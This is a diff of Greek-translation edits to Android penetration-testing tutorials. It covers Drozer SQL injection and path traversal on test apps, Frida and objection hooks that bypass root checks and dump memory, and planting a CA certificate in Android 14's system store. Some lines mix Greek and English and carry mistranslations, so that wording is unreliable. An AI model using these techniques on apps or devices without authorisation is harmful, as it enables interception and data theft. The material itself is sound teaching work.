|
||||
@ -142,7 +142,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
.png>)
|
||||
|
||||
#### Λίστα υπηρεσίας
|
||||
#### Λίστα υπηρεσιών
|
||||
```bash
|
||||
dz> run app.service.info -a com.mwr.example.sieve
|
||||
Package: com.mwr.example.sieve
|
||||
@ -235,7 +235,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo
|
||||
```xml
|
||||
<application theme="@2131296387" debuggable="true"
|
||||
```
|
||||
Μπορείτε να βρείτε όλες τις εφαρμογές που μπορούν να αποσφαλματωθούν με το **Drozer**:
|
||||
Μπορείτε να βρείτε όλες τις εφαρμογές που μπορούν να αποσφαλματωθούν με **Drozer**:
|
||||
```bash
|
||||
run app.package.debuggable
|
||||
```
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
## Εισαγωγή
|
||||
|
||||
Δεδομένα **παρέχονται από μια εφαρμογή σε άλλες** κατόπιν αιτήματος από ένα συστατικό που ονομάζεται **παροχέας περιεχομένου**. Αυτά τα αιτήματα διαχειρίζονται μέσω των μεθόδων της **κλάσης ContentResolver**. Οι πάροχοι περιεχομένου μπορούν να αποθηκεύουν τα δεδομένα τους σε διάφορες τοποθεσίες, όπως μια **βάση δεδομένων**, **αρχεία** ή μέσω ενός **δικτύου**.
|
||||
Δεδομένα **παρέχονται από μια εφαρμογή σε άλλες** κατόπιν αιτήματος από ένα συστατικό που ονομάζεται **παροχέας περιεχομένου**. Αυτές οι αιτήσεις διαχειρίζονται μέσω των μεθόδων της **κλάσης ContentResolver**. Οι πάροχοι περιεχομένου μπορούν να αποθηκεύουν τα δεδομένα τους σε διάφορες τοποθεσίες, όπως μια **βάση δεδομένων**, **αρχεία** ή μέσω ενός **δικτύου**.
|
||||
|
||||
Στο αρχείο _Manifest.xml_, η δήλωση του παρόχου περιεχομένου είναι απαραίτητη. Για παράδειγμα:
|
||||
```xml
|
||||
@ -89,17 +89,17 @@ email: incognitoguy50@gmail.com
|
||||
```
|
||||
### Εισαγωγή περιεχομένου
|
||||
|
||||
Κάνοντας ερωτήσεις στη βάση δεδομένων θα μάθετε το **όνομα των στηλών**, στη συνέχεια, θα μπορείτε να εισάγετε δεδομένα στη DB:
|
||||
Quering the database you will learn the **όνομα των στηλών**, then, you could be able to insert data in the DB:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
_Σημειώστε ότι στην εισαγωγή και την ενημέρωση μπορείτε να χρησιμοποιήσετε --string για να υποδείξετε συμβολοσειρά, --double για να υποδείξετε διπλό, --float, --integer, --long, --short, --boolean_
|
||||
_Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean_
|
||||
|
||||
### Ενημέρωση περιεχομένου
|
||||
|
||||
Γνωρίζοντας το όνομα των στηλών μπορείτε επίσης να **τροποποιήσετε τις καταχωρίσεις**:
|
||||
Knowing the name of the columns you could also **τροποποιήσετε τις καταχωρίσεις**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -109,12 +109,12 @@ _Σημειώστε ότι στην εισαγωγή και την ενημέρ
|
||||
|
||||
### **SQL Injection**
|
||||
|
||||
Είναι απλό να δοκιμάσετε για SQL injection **(SQLite)** χειραγωγώντας τα **projection** και **selection fields** που περνούν στον πάροχο περιεχομένου.\
|
||||
Όταν κάνετε ερωτήσεις στον Content Provider υπάρχουν 2 ενδιαφέροντα επιχειρήματα για να αναζητήσετε πληροφορίες: _--selection_ και _--projection_:
|
||||
It is simple to test for SQL injection **(SQLite)** by manipulating the **projection** and **selection fields** that are passed to the content provider.\
|
||||
When quering the Content Provider there are 2 interesting arguments to search for information: _--selection_ and _--projection_:
|
||||
|
||||
.png>)
|
||||
|
||||
Μπορείτε να προσπαθήσετε να **καταχραστείτε** αυτές τις **παραμέτρους** για να δοκιμάσετε για **SQL injections**:
|
||||
You can try to **abuse** this **parameters** to test for **SQL injections**:
|
||||
```
|
||||
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
|
||||
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
|
||||
@ -162,12 +162,12 @@ dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc
|
||||
```
|
||||
### **Path Traversal**
|
||||
|
||||
Αν μπορείτε να έχετε πρόσβαση σε αρχεία, μπορείτε να προσπαθήσετε να εκμεταλλευτείτε ένα Path Traversal (σε αυτή την περίπτωση αυτό δεν είναι απαραίτητο αλλά μπορείτε να προσπαθήσετε να χρησιμοποιήσετε το "_../_" και παρόμοια κόλπα).
|
||||
Αν μπορείτε να έχετε πρόσβαση σε αρχεία, μπορείτε να προσπαθήσετε να εκμεταλλευτείτε ένα Path Traversal (σε αυτή την περίπτωση αυτό δεν είναι απαραίτητο αλλά μπορείτε να προσπαθήσετε να χρησιμοποιήσετε "_../_" και παρόμοια κόλπα).
|
||||
```
|
||||
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
|
||||
127.0.0.1 localhost
|
||||
```
|
||||
**Αυτόματη ανακάλυψη διαδρομών Path Traversal από το Drozer**
|
||||
**Αυτόματη ανακάλυψη διαδρομών Traversal από το Drozer**
|
||||
```
|
||||
dz> run scanner.provider.traversal -a com.mwr.example.sieve
|
||||
Scanning com.mwr.example.sieve...
|
||||
|
||||
@ -20,9 +20,9 @@ adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local
|
||||
frida-ps -U #List packages and processes
|
||||
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
||||
```
|
||||
## Tutorials
|
||||
## Μαθήματα
|
||||
|
||||
### [Tutorial 1](frida-tutorial-1.md)
|
||||
### [Μάθημα 1](frida-tutorial-1.md)
|
||||
|
||||
**Από**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
||||
@ -30,14 +30,14 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
||||
|
||||
**Ακολουθήστε τον [σύνδεσμο για να το διαβάσετε](frida-tutorial-1.md).**
|
||||
|
||||
### [Tutorial 2](frida-tutorial-2.md)
|
||||
### [Μάθημα 2](frida-tutorial-2.md)
|
||||
|
||||
**Από**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Μέρη 2, 3 & 4)\
|
||||
**APKs και Πηγαίος Κώδικας**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
|
||||
**Ακολουθήστε τον [σύνδεσμο για να το διαβάσετε.](frida-tutorial-2.md)**
|
||||
|
||||
### [Tutorial 3](owaspuncrackable-1.md)
|
||||
### [Μάθημα 3](owaspuncrackable-1.md)
|
||||
|
||||
**Από**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
|
||||
@ -46,9 +46,9 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
||||
|
||||
**Μπορείτε να βρείτε περισσότερα καταπληκτικά σενάρια Frida εδώ:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
|
||||
## Quick Examples
|
||||
## Γρήγορα Παραδείγματα
|
||||
|
||||
### Calling Frida from command line
|
||||
### Καλώντας το Frida από τη γραμμή εντολών
|
||||
```bash
|
||||
frida-ps -U
|
||||
|
||||
@ -74,7 +74,7 @@ sys.stdin.read()
|
||||
```
|
||||
### Hooking functions without parameters
|
||||
|
||||
Hook την συνάρτηση `a()` της κλάσης `sg.vantagepoint.a.c`
|
||||
Hook the function `a()` of the class `sg.vantagepoint.a.c`
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
; rootcheck1.a.overload().implementation = function() {
|
||||
@ -159,7 +159,7 @@ return ret
|
||||
```
|
||||
### Λήψη ενός ήδη δημιουργημένου αντικειμένου μιας κλάσης
|
||||
|
||||
Αν θέλετε να εξαγάγετε κάποιο χαρακτηριστικό ενός δημιουργημένου αντικειμένου, μπορείτε να χρησιμοποιήσετε αυτό.
|
||||
Αν θέλετε να εξάγετε κάποιο χαρακτηριστικό ενός δημιουργημένου αντικειμένου, μπορείτε να χρησιμοποιήσετε αυτό.
|
||||
|
||||
Σε αυτό το παράδειγμα θα δείτε πώς να αποκτήσετε το αντικείμενο της κλάσης my_activity και πώς να καλέσετε τη συνάρτηση .secret() που θα εκτυπώσει ένα ιδιωτικό χαρακτηριστικό του αντικειμένου:
|
||||
```javascript
|
||||
|
||||
@ -8,9 +8,9 @@
|
||||
|
||||
## Python
|
||||
|
||||
Η Frida σας επιτρέπει να **εισάγετε κώδικα JavaScript** μέσα σε συναρτήσεις μιας εκτελούμενης εφαρμογής. Αλλά μπορείτε να χρησιμοποιήσετε **python** για να **καλέσετε** τα hooks και ακόμη και να **αλληλεπιδράσετε** με τα **hooks**.
|
||||
Frida σας επιτρέπει να **εισάγετε κώδικα JavaScript** μέσα σε συναρτήσεις μιας εκτελούμενης εφαρμογής. Αλλά μπορείτε να χρησιμοποιήσετε **python** για να **καλέσετε** τα hooks και ακόμη και να **αλληλεπιδράσετε** με τα **hooks**.
|
||||
|
||||
Αυτό είναι ένα εύκολο σενάριο python που μπορείτε να χρησιμοποιήσετε με όλα τα προτεινόμενα παραδείγματα σε αυτό το σεμινάριο:
|
||||
Αυτό είναι ένα εύκολο σενάριο python που μπορείτε να χρησιμοποιήσετε με όλα τα προτεινόμενα παραδείγματα σε αυτό το tutorial:
|
||||
```python
|
||||
#hooking.py
|
||||
import frida, sys
|
||||
|
||||
@ -2,8 +2,8 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Αυτό είναι ένα συνοπτικό κείμενο της ανάρτησης**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Μέρη 2, 3 & 4)\
|
||||
**APKs και Κώδικας Πηγής**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
**Αυτό είναι μια περίληψη της ανάρτησης**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Μέρη 2, 3 & 4)\
|
||||
**APKs και Πηγαίος Κώδικας**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
|
||||
Το μέρος 1 είναι πολύ εύκολο.
|
||||
|
||||
@ -150,7 +150,7 @@ hooksecretfunction: hookSecret,
|
||||
```
|
||||
## Μέρος 4
|
||||
|
||||
Εδώ θα δείτε πώς να κάνετε **Python και JS να αλληλεπιδρούν** χρησιμοποιώντας αντικείμενα JSON. Η JS χρησιμοποιεί τη συνάρτηση `send()` για να στείλει δεδομένα στον πελάτη Python, και η Python χρησιμοποιεί τις συναρτήσεις `post()` για να στείλει δεδομένα στο σενάριο JS. Η **JS θα μπλοκάρει την εκτέλεση** μέχρι να λάβει μια απάντηση από την Python.
|
||||
Εδώ θα δείτε πώς να κάνετε **Python και JS να αλληλεπιδρούν** χρησιμοποιώντας αντικείμενα JSON. Ο JS χρησιμοποιεί τη συνάρτηση `send()` για να στείλει δεδομένα στον πελάτη Python, και η Python χρησιμοποιεί τις συναρτήσεις `post()` για να στείλει δεδομένα στο σενάριο JS. Ο **JS θα μπλοκάρει την εκτέλεση** μέχρι να λάβει μια απάντηση από την Python.
|
||||
|
||||
### Python
|
||||
```python
|
||||
|
||||
@ -32,14 +32,14 @@ pip3 install objection
|
||||
|
||||
Κάντε μια **κανονική σύνδεση ADB** και **ξεκινήστε** τον **server frida** στη συσκευή (και ελέγξτε ότι το frida λειτουργεί τόσο στον πελάτη όσο και στον server).
|
||||
|
||||
Αν χρησιμοποιείτε μια **rooted συσκευή**, είναι απαραίτητο να επιλέξετε την εφαρμογή που θέλετε να δοκιμάσετε μέσα στην _**--gadget**_ επιλογή. σε αυτή την περίπτωση:
|
||||
Αν χρησιμοποιείτε μια **rooted συσκευή**, είναι απαραίτητο να επιλέξετε την εφαρμογή που θέλετε να δοκιμάσετε μέσα στην επιλογή _**--gadget**_. σε αυτή την περίπτωση:
|
||||
```bash
|
||||
frida-ps -Uai
|
||||
objection --gadget asvid.github.io.fridaapp explore
|
||||
```
|
||||
### Βασικές Ενέργειες
|
||||
|
||||
Δεν θα παρατίθενται όλες οι δυνατές εντολές του objection σε αυτό το tutorial, μόνο αυτές που έχω βρει πιο χρήσιμες.
|
||||
Δεν θα παρατεθούν όλες οι δυνατές εντολές του objection σε αυτό το tutorial, μόνο αυτές που έχω βρει πιο χρήσιμες.
|
||||
|
||||
#### Περιβάλλον
|
||||
|
||||
@ -169,7 +169,7 @@ android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --
|
||||
|
||||
### Εμφανίσεις κλάσης
|
||||
|
||||
Αναζητήστε και εκτυπώστε **ζωντανές εμφανίσεις μιας συγκεκριμένης Java κλάσης**, που καθορίζεται από ένα πλήρως προσδιορισμένο όνομα κλάσης. Το αποτέλεσμα είναι η προσπάθεια να αποκτήσετε μια τιμή string για μια ανακαλυφθείσα objection, η οποία θα περιέχει συνήθως **τιμές ιδιοτήτων για το αντικείμενο**.
|
||||
Αναζητήστε και εκτυπώστε **ζωντανές εμφανίσεις μιας συγκεκριμένης Java κλάσης**, που καθορίζεται από ένα πλήρως προσδιορισμένο όνομα κλάσης. Το αποτέλεσμα είναι η προσπάθεια να αποκτήσετε μια τιμή string για μια ανακαλυφθείσα objection που θα περιέχει συνήθως **τιμές ιδιοτήτων για το αντικείμενο**.
|
||||
```
|
||||
android heap print_instances <class>
|
||||
```
|
||||
@ -185,7 +185,7 @@ android intent launch_service
|
||||
```
|
||||
### Μνήμη
|
||||
|
||||
#### Εκχύλισμα
|
||||
#### Dump
|
||||
```bash
|
||||
memory dump all <local destination> #Dump all memory
|
||||
memory dump from_base <base_address> <size_to_dump> <local_destination> #Dump a part
|
||||
@ -215,7 +215,7 @@ memory write "<address>" "<pattern eg: 41 41 41 41>" (--string)
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε την εντολή `sqlite` για να αλληλεπιδράσετε με βάσεις δεδομένων sqlite.
|
||||
|
||||
### Έξοδος
|
||||
### Exit
|
||||
```bash
|
||||
exit
|
||||
```
|
||||
@ -223,6 +223,6 @@ exit
|
||||
|
||||
- Οι μέθοδοι hooking μερικές φορές προκαλούν κρασάρισμα της εφαρμογής (αυτό οφείλεται επίσης στο Frida).
|
||||
- Δεν μπορείτε να χρησιμοποιήσετε τις παρουσίες των κλάσεων για να καλέσετε συναρτήσεις της παρουσίας. Και δεν μπορείτε να δημιουργήσετε νέες παρουσίες κλάσεων και να τις χρησιμοποιήσετε για να καλέσετε συναρτήσεις.
|
||||
- Δεν υπάρχει μια συντόμευση (όπως αυτή για το sslpinnin) για να hookάρετε όλες τις κοινές μεθόδους κρυπτογράφησης που χρησιμοποιούνται από την εφαρμογή για να δείτε κρυπτογραφημένο κείμενο, απλό κείμενο, κλειδιά, IVs και αλγόριθμους που χρησιμοποιούνται.
|
||||
- Δεν υπάρχει μια συντόμευση (όπως αυτή για το sslpinnin) για να κάνετε hook όλες τις κοινές μεθόδους κρυπτογράφησης που χρησιμοποιούνται από την εφαρμογή για να δείτε κρυπτογραφημένο κείμενο, απλό κείμενο, κλειδιά, IVs και αλγόριθμους που χρησιμοποιούνται.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -29,7 +29,7 @@ adb reboot #Now, reboot the machine
|
||||
|
||||
## Χρήση του Magisc
|
||||
|
||||
Αν **έχετε ριζώσει τη συσκευή σας με το Magisc** (ίσως έναν εξομοιωτή), και **δεν μπορείτε να ακολουθήσετε** τα προηγούμενα **βήματα** για να εγκαταστήσετε το πιστοποιητικό Burp επειδή το **σύστημα αρχείων είναι μόνο για ανάγνωση** και δεν μπορείτε να το επανατοποθετήσετε σε εγ writable, υπάρχει ένας άλλος τρόπος.
|
||||
Αν **έχετε ριζώσει τη συσκευή σας με το Magisc** (ίσως έναν εξομοιωτή), και **δεν μπορείτε να ακολουθήσετε** τα προηγούμενα **βήματα** για να εγκαταστήσετε το πιστοποιητικό Burp επειδή το **filesystem είναι μόνο για ανάγνωση** και δεν μπορείτε να το ξανατοποθετήσετε ως εγγράψιμο, υπάρχει ένας άλλος τρόπος.
|
||||
|
||||
Εξηγείται σε [**αυτό το βίντεο**](https://www.youtube.com/watch?v=qQicUW0svB8) που πρέπει να κάνετε:
|
||||
|
||||
@ -53,11 +53,11 @@ adb reboot #Now, reboot the machine
|
||||
|
||||
Στην τελευταία έκδοση Android 14, έχει παρατηρηθεί μια σημαντική αλλαγή στη διαχείριση των πιστοποιητικών Αρχής Πιστοποίησης (CA) που είναι εμπιστευμένα από το σύστημα. Προηγουμένως, αυτά τα πιστοποιητικά βρίσκονταν στο **`/system/etc/security/cacerts/`**, προσβάσιμα και τροποποιήσιμα από χρήστες με δικαιώματα root, γεγονός που επέτρεπε άμεση εφαρμογή σε όλο το σύστημα. Ωστόσο, με το Android 14, η τοποθεσία αποθήκευσης έχει μεταφερθεί στο **`/apex/com.android.conscrypt/cacerts`**, έναν φάκελο εντός της διαδρομής **`/apex`**, ο οποίος είναι εκ φύσεως αμετάβλητος.
|
||||
|
||||
Οι προσπάθειες επανατοποθέτησης της **διαδρομής APEX cacerts** ως εγ writable αποτυγχάνουν, καθώς το σύστημα δεν επιτρέπει τέτοιες λειτουργίες. Ακόμη και οι προσπάθειες αποσύνδεσης ή επικάλυψης του φακέλου με ένα προσωρινό σύστημα αρχείων (tmpfs) δεν παρακάμπτουν την αμεταβλητότητα; οι εφαρμογές συνεχίζουν να έχουν πρόσβαση στα αρχικά δεδομένα πιστοποιητικού ανεξάρτητα από τις αλλαγές στο επίπεδο του συστήματος αρχείων. Αυτή η ανθεκτικότητα οφείλεται στο ότι η τοποθέτηση **`/apex`** έχει ρυθμιστεί με ΙΔΙΩΤΙΚΗ προπαγάνδα, διασφαλίζοντας ότι οποιεσδήποτε τροποποιήσεις εντός του φακέλου **`/apex`** δεν επηρεάζουν άλλες διαδικασίες.
|
||||
Οι προσπάθειες να ξανατοποθετηθεί η **διαδρομή APEX cacerts** ως εγγράψιμη αποτυγχάνουν, καθώς το σύστημα δεν επιτρέπει τέτοιες λειτουργίες. Ακόμη και οι προσπάθειες να αποσυνδεθεί ή να επικαλυφθεί ο φάκελος με ένα προσωρινό σύστημα αρχείων (tmpfs) δεν παρακάμπτουν την αμεταβλησία; οι εφαρμογές συνεχίζουν να έχουν πρόσβαση στα αρχικά δεδομένα πιστοποιητικού ανεξάρτητα από τις αλλαγές στο επίπεδο του συστήματος αρχείων. Αυτή η ανθεκτικότητα οφείλεται στο ότι η τοποθέτηση **`/apex`** έχει ρυθμιστεί με ΙΔΙΩΤΙΚΗ προπαγάνδα, διασφαλίζοντας ότι οποιεσδήποτε τροποποιήσεις εντός του φακέλου **`/apex`** δεν επηρεάζουν άλλες διαδικασίες.
|
||||
|
||||
Η αρχικοποίηση του Android περιλαμβάνει τη διαδικασία `init`, η οποία, κατά την εκκίνηση του λειτουργικού συστήματος, ξεκινά επίσης τη διαδικασία Zygote. Αυτή η διαδικασία είναι υπεύθυνη για την εκκίνηση διαδικασιών εφαρμογών με ένα νέο namespace τοποθέτησης που περιλαμβάνει μια ιδιωτική τοποθέτηση **`/apex`**, απομονώνοντας έτσι τις αλλαγές σε αυτόν τον φάκελο από άλλες διαδικασίες.
|
||||
|
||||
Ωστόσο, υπάρχει μια λύση για όσους χρειάζονται να τροποποιήσουν τα πιστοποιητικά CA που είναι εμπιστευμένα από το σύστημα εντός του φακέλου **`/apex`**. Αυτό περιλαμβάνει την χειροκίνητη επανατοποθέτηση του **`/apex`** για να αφαιρεθεί η ΙΔΙΩΤΙΚΗ προπαγάνδα, καθιστώντας το έτσι εγ writable. Η διαδικασία περιλαμβάνει την αντιγραφή των περιεχομένων του **`/apex/com.android.conscrypt`** σε άλλη τοποθεσία, την αποσύνδεση του φακέλου **`/apex/com.android.conscrypt`** για να εξαλειφθεί ο περιορισμός μόνο για ανάγνωση, και στη συνέχεια την αποκατάσταση των περιεχομένων στην αρχική τους τοποθεσία εντός του **`/apex`**. Αυτή η προσέγγιση απαιτεί γρήγορη δράση για να αποφευχθούν οι κραδασμοί του συστήματος. Για να διασφαλιστεί η εφαρμογή αυτών των αλλαγών σε όλο το σύστημα, συνιστάται να επανεκκινήσετε τον `system_server`, ο οποίος επανεκκινεί αποτελεσματικά όλες τις εφαρμογές και φέρνει το σύστημα σε μια συνεπή κατάσταση.
|
||||
Ωστόσο, υπάρχει μια λύση για όσους χρειάζονται να τροποποιήσουν τα πιστοποιητικά CA που είναι εμπιστευμένα από το σύστημα εντός του φακέλου **`/apex`**. Αυτό περιλαμβάνει την χειροκίνητη ξανατοποθέτηση του **`/apex`** για να αφαιρεθεί η ΙΔΙΩΤΙΚΗ προπαγάνδα, καθιστώντας το έτσι εγγράψιμο. Η διαδικασία περιλαμβάνει την αντιγραφή των περιεχομένων του **`/apex/com.android.conscrypt`** σε άλλη τοποθεσία, την αποσύνδεση του φακέλου **`/apex/com.android.conscrypt`** για να εξαλειφθεί ο περιορισμός μόνο για ανάγνωση, και στη συνέχεια την αποκατάσταση των περιεχομένων στην αρχική τους τοποθεσία εντός του **`/apex`**. Αυτή η προσέγγιση απαιτεί γρήγορη δράση για να αποφευχθούν οι κραδασμοί του συστήματος. Για να διασφαλιστεί η εφαρμογή αυτών των αλλαγών σε όλο το σύστημα, συνιστάται να επανεκκινήσετε τον `system_server`, ο οποίος επανεκκινεί αποτελεσματικά όλες τις εφαρμογές και φέρνει το σύστημα σε μια συνεπή κατάσταση.
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
@ -117,12 +117,12 @@ echo "System certificate injected"
|
||||
```
|
||||
### Bind-mounting through NSEnter
|
||||
|
||||
1. **Ρύθμιση ενός Εγγράψιμου Καταλόγου**: Αρχικά, δημιουργείται ένας εγγράψιμος κατάλογος με την τοποθέτηση ενός `tmpfs` πάνω από τον υπάρχοντα κατάλογο πιστοποιητικών μη-APEX συστήματος. Αυτό επιτυγχάνεται με την ακόλουθη εντολή:
|
||||
1. **Ρύθμιση ενός Εγγράψιμου Καταλόγου**: Αρχικά, δημιουργείται ένας εγγράψιμος κατάλογος με την τοποθέτηση ενός `tmpfs` πάνω από τον υπάρχοντα κατάλογο πιστοποιητικών συστήματος που δεν είναι APEX. Αυτό επιτυγχάνεται με την ακόλουθη εντολή:
|
||||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
2. **Προετοιμασία Πιστοποιητικών CA**: Αφού ρυθμιστεί ο εγγράψιμος κατάλογος, τα πιστοποιητικά CA που προορίζονται για χρήση θα πρέπει να αντιγραφούν σε αυτόν τον κατάλογο. Αυτό μπορεί να περιλαμβάνει την αντιγραφή των προεπιλεγμένων πιστοποιητικών από το `/apex/com.android.conscrypt/cacerts/`. Είναι απαραίτητο να προσαρμοστούν οι άδειες και οι ετικέτες SELinux αυτών των πιστοποιητικών αναλόγως.
|
||||
3. **Δέσμευση Μοντάρισμα για Zygote**: Χρησιμοποιώντας το `nsenter`, εισέρχεται κανείς στο namespace μονταρίσματος του Zygote. Το Zygote, ως η διαδικασία που είναι υπεύθυνη για την εκκίνηση εφαρμογών Android, απαιτεί αυτό το βήμα για να διασφαλιστεί ότι όλες οι εφαρμογές που θα ξεκινήσουν από εδώ και στο εξής θα χρησιμοποιούν τα νέα ρυθμισμένα πιστοποιητικά CA. Η εντολή που χρησιμοποιείται είναι:
|
||||
2. **Προετοιμασία Πιστοποιητικών CA**: Αφού ρυθμιστεί ο εγγράψιμος φάκελος, τα πιστοποιητικά CA που προορίζονται για χρήση θα πρέπει να αντιγραφούν σε αυτόν τον φάκελο. Αυτό μπορεί να περιλαμβάνει την αντιγραφή των προεπιλεγμένων πιστοποιητικών από το `/apex/com.android.conscrypt/cacerts/`. Είναι απαραίτητο να προσαρμοστούν οι άδειες και οι ετικέτες SELinux αυτών των πιστοποιητικών αναλόγως.
|
||||
3. **Δέσμευση Μοντάρισμα για Zygote**: Χρησιμοποιώντας το `nsenter`, εισέρχεται κανείς στο namespace μοντάρισμα του Zygote. Το Zygote, ως η διαδικασία που είναι υπεύθυνη για την εκκίνηση εφαρμογών Android, απαιτεί αυτό το βήμα για να διασφαλιστεί ότι όλες οι εφαρμογές που θα ξεκινήσουν από εδώ και στο εξής θα χρησιμοποιούν τα νέα ρυθμισμένα πιστοποιητικά CA. Η εντολή που χρησιμοποιείται είναι:
|
||||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
@ -132,7 +132,7 @@ nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/securi
|
||||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
5. **Εναλλακτική Προσέγγιση - Ήπια Επανεκκίνηση**: Μια εναλλακτική μέθοδος περιλαμβάνει την εκτέλεση της δεσμευμένης τοποθέτησης στη διαδικασία `init` (PID 1) ακολουθούμενη από μια ήπια επανεκκίνηση του λειτουργικού συστήματος με τις εντολές `stop && start`. Αυτή η προσέγγιση θα διαδώσει τις αλλαγές σε όλα τα namespaces, αποφεύγοντας την ανάγκη να απευθυνθεί κανείς ξεχωριστά σε κάθε εκτελούμενη εφαρμογή. Ωστόσο, αυτή η μέθοδος γενικά προτιμάται λιγότερο λόγω της ταλαιπωρίας της επανεκκίνησης.
|
||||
5. **Εναλλακτική Προσέγγιση - Ήπια Επανεκκίνηση**: Μια εναλλακτική μέθοδος περιλαμβάνει την εκτέλεση της δέσμευσης στο `init` διαδικασία (PID 1) ακολουθούμενη από μια ήπια επανεκκίνηση του λειτουργικού συστήματος με τις εντολές `stop && start`. Αυτή η προσέγγιση θα διαδώσει τις αλλαγές σε όλα τα namespaces, αποφεύγοντας την ανάγκη να απευθυνθεί κανείς ξεχωριστά σε κάθε εκτελούμενη εφαρμογή. Ωστόσο, αυτή η μέθοδος γενικά προτιμάται λιγότερο λόγω της ταλαιπωρίας της επανεκκίνησης.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
||||
@ -37,10 +37,10 @@
|
||||
</base-config>
|
||||
</network-security-config>
|
||||
```
|
||||
Στη συνέχεια, αποθηκεύστε το αρχείο και βγείτε από όλους τους φακέλους και ξαναχτίστε το apk με την παρακάτω εντολή: `apktool b *folder-name/* -o *output-file.apk*`
|
||||
Στη συνέχεια, αποθηκεύστε το αρχείο και βγείτε από όλους τους καταλόγους και ξαναχτίστε το apk με την παρακάτω εντολή: `apktool b *folder-name/* -o *output-file.apk*`
|
||||
|
||||

|
||||
|
||||
Τέλος, χρειάζεται απλώς να **υπογράψετε την νέα εφαρμογή**. [Διαβάστε αυτή την ενότητα της σελίδας Smali - Decompiling/\[Modifying\]/Compiling για να μάθετε πώς να την υπογράψετε](smali-changes.md#sing-the-new-apk).
|
||||
Τέλος, χρειάζεται απλώς να **υπογράψετε τη νέα εφαρμογή**. [Διαβάστε αυτή την ενότητα της σελίδας Smali - Decompiling/\[Modifying\]/Compiling για να μάθετε πώς να την υπογράψετε](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,39 +2,39 @@
|
||||
|
||||
## Χειροκίνητες **Τεχνικές Απο-αποκρυπτογράφησης**
|
||||
|
||||
Στον τομέα της **ασφάλειας λογισμικού**, η διαδικασία καθιστώντας τον κωδικό που έχει αποκρυφτεί κατανοητό, γνωστή ως **απο-αποκρυπτογράφηση**, είναι κρίσιμη. Αυτός ο οδηγός εξετάζει διάφορες στρατηγικές για την απο-αποκρυπτογράφηση, εστιάζοντας σε τεχνικές στατικής ανάλυσης και αναγνώριση προτύπων απόκρυψης. Επιπλέον, εισάγει μια άσκηση για πρακτική εφαρμογή και προτείνει περαιτέρω πόρους για όσους ενδιαφέρονται να εξερευνήσουν πιο προχωρημένα θέματα.
|
||||
Στον τομέα της **ασφάλειας λογισμικού**, η διαδικασία καθιστώντας τον κωδικό που έχει αποκρυφθεί κατανοητό, γνωστή ως **απο-αποκρυπτογράφηση**, είναι κρίσιμη. Αυτός ο οδηγός εξετάζει διάφορες στρατηγικές για την απο-αποκρυπτογράφηση, εστιάζοντας σε τεχνικές στατικής ανάλυσης και αναγνώριση προτύπων αποκρυπτογράφησης. Επιπλέον, εισάγει μια άσκηση για πρακτική εφαρμογή και προτείνει περαιτέρω πόρους για όσους ενδιαφέρονται να εξερευνήσουν πιο προχωρημένα θέματα.
|
||||
|
||||
### **Στρατηγικές για Στατική Απο-αποκρυπτογράφηση**
|
||||
|
||||
Όταν ασχολείστε με **αποκρυφωμένο κώδικα**, μπορούν να χρησιμοποιηθούν αρκετές στρατηγικές ανάλογα με τη φύση της απόκρυψης:
|
||||
